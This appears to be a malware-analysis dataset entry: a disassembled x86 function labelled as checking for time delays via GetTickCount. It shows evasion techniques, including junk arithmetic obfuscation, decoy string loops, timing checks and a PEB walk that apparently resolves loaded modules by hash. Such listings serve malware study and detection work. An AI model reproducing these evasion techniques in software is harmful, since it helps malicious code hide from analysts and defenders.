Function at 0x6568d370
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
xor eax, eax
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x14c
cmp byte [eax + str.Failed_to_get_processor_architecture___x_], 0
je 0x6568d39e
inc eax
cmp eax, 0x18f8
jne 0x6568d37e
call fcn.65694280
or dword [0x656a8f88], 0xc690e2f3
mov eax, dword [0x656a8f88]
mov ebx, str.The_Directory_Service_is_shutting_down.
mov esi, 0x1413
mov edi, dword [0x656a8cf4]
lea edx, [edi - 0x3f915ca5]
add eax, 0x6177bc9a
mov dword [0x656a8cf4], edx
and eax, 0x60d4a868
movzx ecx, word [ebx]
add ebx, 2
test cx, cx
je 0x6568d3ea
add esi, ecx
cmp esi, 0x1bce
jbe 0x6568d3c9
and edx, 0xcbd92d4a
mov dword [0x656a8cf4], edx
imul eax, eax, 0x172327c6
mov esi, dword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
sub eax, 0x39d27bbd
mov dword [0x656a8f88], eax
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_GetLargePageMinimum]
call ebx
call esi
call ebx
call esi
call ebx
mov eax, dword [0x656a8cf4]
xor eax, 0x4c7cc8d0
mov dword [0x656a8f88], eax
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
and eax, 0x67b053e9
add eax, 0x6ea9cb6a
mov dword [0x656a8cf4], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov eax, dword [0x656a8cf4]
xor eax, 0x9781811a
mov dword [0x656a8f88], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
imul eax, eax, 0xe849c538
add eax, 0x7762d114
xor eax, 0x8a9b69da
add eax, 0x7762d114
mov dword [0x656a8f88], eax
xor eax, 0x8a9b69da
mov dword [0x656a8cf4], eax
mov eax, dword [0x65695064]
cmp dword [eax + 0x54], 0
jne 0x6568d48a
mov edx, dword fs:[0x18]
mov dword [eax + 0x54], edx
mov eax, dword [eax + 0x54]
mov esi, 0x20bb
mov ebx, dword [eax + 0x30]
mov dword [esp], 0x18b9
call dword [sym.imp.USER32.dll_GetTopWindow]
mov ecx, str.The_Directory_Service_is_shutting_down.
and eax, 0xfdf7aa83
push edx
mov dword [0x656a8f88], eax
movzx edx, word [ecx]
add ecx, 2
test dx, dx
je 0x6568d4ed
add esi, edx
cmp esi, 0x2312
jbe 0x6568d4b2
mov dword [esp + 0xc], str.The_Directory_Service_is_shutting_down.
mov dword [esp + 8], str.Failed_to_get_processor_architecture___x_
mov dword [esp + 4], str.The_specified_account_already_exists.
mov dword [esp], str.Driver__2_has_been_blocked_from_loading.
call fcn.65694038
jmp 0x6568d4f8
imul eax, eax, 0xdfbb3818
mov dword [0x656a8f88], eax
mov eax, dword [0x656a8f88]
add eax, 0x28cdd7
mov dword [0x656a8cf4], eax
mov dword [esp + 8], eax
mov dword [esp + 4], str.AslRegistryOpenKey_failed___x_
mov dword [esp], str.AslRegistryOpenKey_failed___x_
call fcn.6568ff74
xor eax, eax
cmp byte [eax + str.The_specified_account_already_exists.], 0
je 0x6568d566
inc eax
cmp eax, 0x125d
jne 0x6568d521
mov dword [esp + 0xc], str.The_specified_account_already_exists.
mov eax, dword [0x656a8f88]
mov dword [esp + 4], str.The_Directory_Service_is_shutting_down.
mov dword [esp + 8], eax
mov dword [esp], str.Driver__2_has_been_blocked_from_loading.
call fcn.65693abc
imul eax, dword [0x656a8cf4], 0xd33e4599
mov dword [0x656a8cf4], eax
mov eax, dword [0x656a8cf4]
mov edx, eax
sub eax, 0x573b0eab
or edx, 0xb24d067
mov dword [0x656a8cf4], eax
mov dword [0x656a8f88], edx
call fcn.65694280
mov eax, dword [ebx + 0xc]
lea edi, [eax + 0xc]
mov ebx, dword [eax + 0xc]
mov dword [ebp - 0x13c], edi
mov eax, dword [ebp - 0x13c]
cmp ebx, eax
je 0x6568d80e
lea edi, [ebp - 0x130]
mov esi, 0x65695138
mov ecx, 5
rep movsd dword es:[edi], dword [esi]
xor esi, esi
xor edi, edi
or dword [0x656a8cf4], 0xae99ca07
mov edx, str.Driver__2_has_been_blocked_from_loading.
mov ecx, 0xbca
movsx eax, byte [edx]
inc edx
test al, al
je 0x6568d5f6
add ecx, eax
cmp ecx, 0x2410
jbe 0x6568d5cf
call fcn.6568fe24
and dword [0x656a8f88], 0x78c8b069
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov eax, dword [0x656a8f88]
sub edi, dword [ebp + esi*4 - 0x130]
inc esi
or eax, 0x29b5a06a
imul eax, eax, 0x1a4adc2d
mov dword [0x656a8f88], eax
cmp esi, 5
jne 0x6568d5bb
mov dword [esp + 8], 0x104
mov eax, dword [ebx + 0x30]
lea esi, [ebp - 0x11c]
mov dword [esp], esi
mov dword [esp + 4], eax
call fcn.656948f4
mov dword [esp + 8], 1
mov dword [esp + 4], eax
mov dword [esp], esi
call fcn.6568ca38
cmp eax, dword [ebp + 8]
je 0x6568d657
cmp edi, dword [ebp + 8]
jne 0x6568d807
xor eax, eax
cmp byte [eax + str.The_specified_account_already_exists.], 0
je 0x6568d676
inc eax
cmp eax, 0x2313
jne 0x6568d659
sub dword [0x656a8f88], 0x7396828f
jmp 0x6568d67d
cmp eax, 0x1dae
jle 0x6568d6cd
mov dword [esp + 4], str.The_specified_account_already_exists.
mov eax, dword [0x656a8cf4]
mov dword [esp], eax
call fcn.65693afc
xor eax, eax
cmp byte [eax + str.Driver__2_has_been_blocked_from_loading.], 0
je 0x6568d6b4
inc eax
cmp eax, 0x301
jne 0x6568d694
call fcn.65691ce4
xor dword [0x656a8cf4], 0x1cdf11c7
imul eax, dword [0x656a8cf4], 0xdd4733c3
mov dword [0x656a8f88], eax
add eax, 0x3faa0a67
mov dword [0x656a8cf4], eax
xor eax, eax
cmp word [eax + eax + str.AslRegistryOpenKey_failed___x_], 0
je 0x6568d6ee
inc eax
cmp eax, 0x1879
jne 0x6568d6cf
add dword [0x656a8cf4], 0x3aae9b38
jmp 0x6568d6f5
cmp eax, 0x137f
jle 0x6568d706
call fcn.65692ca4
mov eax, dword [0x656a8cf4]
or eax, 0x85463872
jmp 0x6568d710
mov eax, dword [0x656a8f88]
sub eax, 0x329d4147
lea edx, [eax - 0x33daf720]
add eax, 0x6ac228ba
mov dword [0x656a8f88], edx
mov dword [0x656a8cf4], eax
mov dword [esp + 8], edx
mov dword [esp + 4], str.The_Directory_Service_is_shutting_down.
mov dword [esp], str.AslRegistryOpenKey_failed___x_
call fcn.6568ff74
mov eax, dword [0x656a8cf4]
lea edx, [eax - 0x6a4edf2a]
imul eax, eax, 0x7415a990
mov dword [0x656a8f88], edx
mov dword [0x656a8cf4], eax
call dword [sym.imp.KERNEL32.dll_GetLargePageMinimum]
mov eax, dword [0x656a8cf4]
mov dword [esp], eax
call fcn.65690654
mov edx, str.The_specified_account_already_exists.
mov ecx, 0x123d
movsx eax, byte [edx]
inc edx
test al, al
je 0x6568d7c9
add ecx, eax
cmp ecx, 0x1ca8
jbe 0x6568d777
mov dword [esp + 0xc], str.The_specified_account_already_exists.
mov eax, dword [0x656a8cf4]
mov dword [esp + 4], str.The_Directory_Service_is_shutting_down.
mov dword [esp + 8], eax
mov dword [esp], str.The_specified_account_already_exists.
call fcn.65693abc
mov eax, dword [0x656a8cf4]
add eax, 0x3daed7cd
mov dword [0x656a8f88], eax
and eax, 0xf8bf056b
mov dword [0x656a8cf4], eax
jmp 0x6568d7d8
imul eax, dword [0x656a8f88], 0x2e3cc674
mov dword [0x656a8f88], eax
imul eax, dword [0x656a8f88], 0x13f61084
mov dword [0x656a8f88], eax
call fcn.65691ce4
xor eax, eax
mov dword [esp + 8], 0x104
mov dword [esp + 4], eax
mov dword [esp], esi
call fcn.6568d838
mov eax, dword [ebx + 0x18]
jmp 0x6568d810
mov ebx, dword [ebx]
jmp 0x6568d597
xor eax, eax
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret